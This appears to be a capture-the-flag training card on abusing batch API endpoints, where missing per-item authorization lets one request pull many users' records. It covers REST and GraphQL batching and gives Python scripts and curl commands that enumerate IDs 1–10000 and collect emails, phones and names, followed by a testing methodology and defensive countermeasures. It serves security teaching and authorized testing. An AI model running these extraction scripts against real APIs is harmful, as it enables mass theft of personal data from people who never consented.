Browse CTFs New CTF Sign in

Batch endpoint abuse

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Batch API endpoints are designed to reduce network round-trips for legitimate clients, but they are frequently implemented without applying authorization checks to each item in the batch — only to the batch request itself. This design error allows an attacker to enumerate and exfiltrate an entire dataset in a single authenticated request. CVE-2019-5418 (Rails file disclosure) was amplified by batch-style endpoints in several downstream applications. The OWASP API Security Top 10 2023 lists "Broken Object Level Authorization" (BOLA/IDOR) as the number-one API vulnerability; batch endpoints amplify IDOR from per-user to dataset-wide impact. In a 2021 assessment documented by Assetnote, a single GraphQL batch query returned 2 million customer records — each individually accessible only to the record owner — because per-item authorization was never implemented.

Core Concept

A batch endpoint accepts multiple resource identifiers in a single request and returns multiple resources in a single response. Common implementations:

GET  /api/users?ids=101,102,103
POST /api/users/batch   {"ids": [101, 102, 103]}
GET  /api/orders?user_id=me&ids[]=1&ids[]=2&ids[]=3

GraphQL batching is a standard feature of the GraphQL protocol that allows multiple query operations in a single HTTP request as a JSON array:

[{"query": "{ user(id: 1) { email } }"},
 {"query": "{ user(id: 2) { email } }"},
 ...]

The vulnerability arises when the authorization check is performed at the request level rather than at the item level: the server verifies that the caller is authenticated (has a valid session) and is authorized to call the batch endpoint, but does not verify that each individual ID in the array belongs to the caller.

An IDOR (Insecure Direct Object Reference) vulnerability grants access to a single unauthorized record. A batch IDOR vulnerability amplifies this to all records in the system: instead of manually incrementing IDs one at a time (rate-limited, slow), the attacker submits all IDs in a single batch request, extracting the full dataset in one operation.

Distinguishing batch abuse from IDOR: IDOR grants access to one record per request; batch abuse extracts N records per request. From an authorization model perspective, the root cause is the same (missing per-object authorization), but the impact is exponentially greater and the exploitation is far faster.

Rate limit interaction: Many APIs enforce rate limits per HTTP request. A batch endpoint that processes 10,000 items counts as one request, effectively multiplying the data exfiltration rate by 10,000 relative to a rate-limited single-item endpoint.

Technical Deep-Dive

# ── REST batch endpoint abuse ─────────────────────────────────────────────
import requests

BASE_URL = "https://api.example.com"
SESSION  = "your-session-token"
HEADERS  = {"Authorization": f"Bearer {SESSION}", "Content-Type": "application/json"}

# Step 1: Confirm single-item access to own record
r = requests.get(f"{BASE_URL}/api/users/me", headers=HEADERS)
my_user = r.json()
print("[+] Own user ID:", my_user["id"])

# Step 2: Probe batch endpoint with two known IDs
batch_probe = requests.get(
    f"{BASE_URL}/api/users",
    params={"ids": "1,2"},
    headers=HEADERS,
)
print("[+] Batch probe status:", batch_probe.status_code)
print("[+] Batch probe response:", batch_probe.json())

# Step 3: Mass extraction — request a range of IDs
ids = list(range(1, 10001))   # IDs 1-10000
ids_str = ",".join(str(i) for i in ids)

resp = requests.get(
    f"{BASE_URL}/api/users",
    params={"ids": ids_str},
    headers=HEADERS,
    timeout=120,
)

if resp.status_code == 200:
    data = resp.json()
    print(f"[+] Extracted {len(data)} records")
    for record in data[:5]:   # Print first 5 as proof-of-concept
        print(f"  ID={record.get('id')} email={record.get('email')} name={record.get('name')}")
else:
    print(f"[-] Status {resp.status_code}: {resp.text[:200]}")

# ── GraphQL batching abuse ─────────────────────────────────────────────────
import json

def graphql_batch_extract(base_url, token, id_range):
    """Extract user records via GraphQL batching."""
    query_template = "{{ user(id: {id}) {{ id email phone createdAt }} }}"
    batch_payload  = [{"query": query_template.format(id=i)} for i in id_range]

    resp = requests.post(
        f"{base_url}/graphql",
        headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
        json=batch_payload,
        timeout=120,
    )

    if resp.status_code == 200:
        results = resp.json()   # List of {"data": {...}, "errors": [...]}
        records = [r["data"]["user"] for r in results if r.get("data", {}).get("user")]
        return records
    return []

records = graphql_batch_extract(BASE_URL, SESSION, range(1, 501))
print(f"[+] GraphQL batch: {len(records)} records returned")
# Quick curl test — batch endpoint with array of IDs
curl -s "https://api.example.com/api/users?ids=1,2,3,100,999" 
    -H "Authorization: Bearer $TOKEN" 
    | python3 -m json.tool | head -40

# GraphQL batch via curl
curl -s -X POST "https://api.example.com/graphql" 
    -H "Authorization: Bearer $TOKEN" 
    -H "Content-Type: application/json" 
    -d '[{"query":"{ user(id:1){ id email } }"},{"query":"{ user(id:2){ id email } }"},{"query":"{ user(id:3){ id email } }"}]' 
    | python3 -m json.tool

Security Assessment Methodology

  1. Discover batch endpoints — Review API documentation (Swagger/OpenAPI). Search source maps and JS bundles for ?ids= or /batch URL patterns. Spider the application in Burp and filter for requests containing array parameters.
  2. Confirm single-item IDOR first — Request a single resource ID that does not belong to the authenticated user. If the server returns the resource, IDOR exists at the item level. Batch abuse amplifies this finding.
  3. Test array parameter acceptance — Modify a normal single-ID request to supply multiple IDs: ?id=1?ids=1,2,3 or ?id[]=1&id[]=2. Observe whether the response contains multiple records.
  4. Measure batch size limits — Increment the number of IDs: 10, 100, 1000, 10000. Identify whether the server enforces a maximum batch size. If no limit exists, the endpoint can return the entire dataset.
  5. Test GraphQL batching — Wrap multiple GraphQL queries in a JSON array and submit as a single POST. Observe whether each query is independently authorized or all execute under the same (insufficient) authorization.
  6. Document extraction volume and sensitivity — Record the maximum number of records returned, the data fields exposed (PII, credentials, payment data), and the number of HTTP requests required. This drives the CVSS impact score.

Defensive Countermeasure — Perform authorization checks on every item in a batch, not on the batch request itself. Enforce a server-side maximum batch size (e.g., 100 items). Log batch requests with item count and apply anomaly detection for unusually large batches. For GraphQL, disable or depth-limit batching in the server configuration (apollo-server option allowBatchedHttpRequests: false or set a query depth limit). Apply the same per-object ownership check used for single-item endpoints to every item in a batch.

Common Assessment Errors

  • Skipping batch testing when single-item IDOR is absent — Authorization may be implemented correctly for single items but absent for batch. Test batch endpoints independently even if single-item access control appears correct.
  • Only testing GET batch parameters — POST body batch requests ({"ids": [...]}) are equally common. Test both HTTP methods and both query-string and body parameter formats.
  • Missing GraphQL array batching — GraphQL batching uses a JSON array at the HTTP level, not a query-level parameter. It is not visible in the GraphQL schema; only in the HTTP body format.
  • Not checking response size limits as a proxy for data volume — If the server returns a response size limit error (413, 507), the batch endpoint likely lacks a proper per-item cap and is processing the full requested set before truncating.
  • Failing to test non-integer ID types — Some batch endpoints accept UUIDs, email addresses, or usernames as identifiers. Test enumeration of these identifier types in batch payloads.
  • Confusing pagination and batching — Pagination returns sequential records; batching returns specific records by ID. Both can leak data but via different mechanisms. Test each independently.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorization, and access control methods Explains the per-request vs per-item authorization distinction that creates batch IDOR
K0065 Knowledge of policy-based controls for data access Connects batch authorization failure to data access policy design
K0070 Knowledge of system and application security threats and vulnerabilities Maps batch abuse to OWASP API Security Top 10 BOLA and real assessment findings
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains batch size probing and GraphQL batching detection
T0028 Conduct and support authorized penetration testing on enterprise networks Provides a stepwise methodology from endpoint discovery through volume documentation
T0570 Conduct application security assessments Frames batch endpoint testing as required for REST and GraphQL API assessments

Further Reading

  • OWASP API Security Top 10 2023, API1: Broken Object Level Authorization — OWASP Foundation
  • Assetnote Research: GraphQL Batching for Mass Data Extraction — Assetnote Blog
  • GraphQL Specification: Request Batching — graphql.github.io (offline reference)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.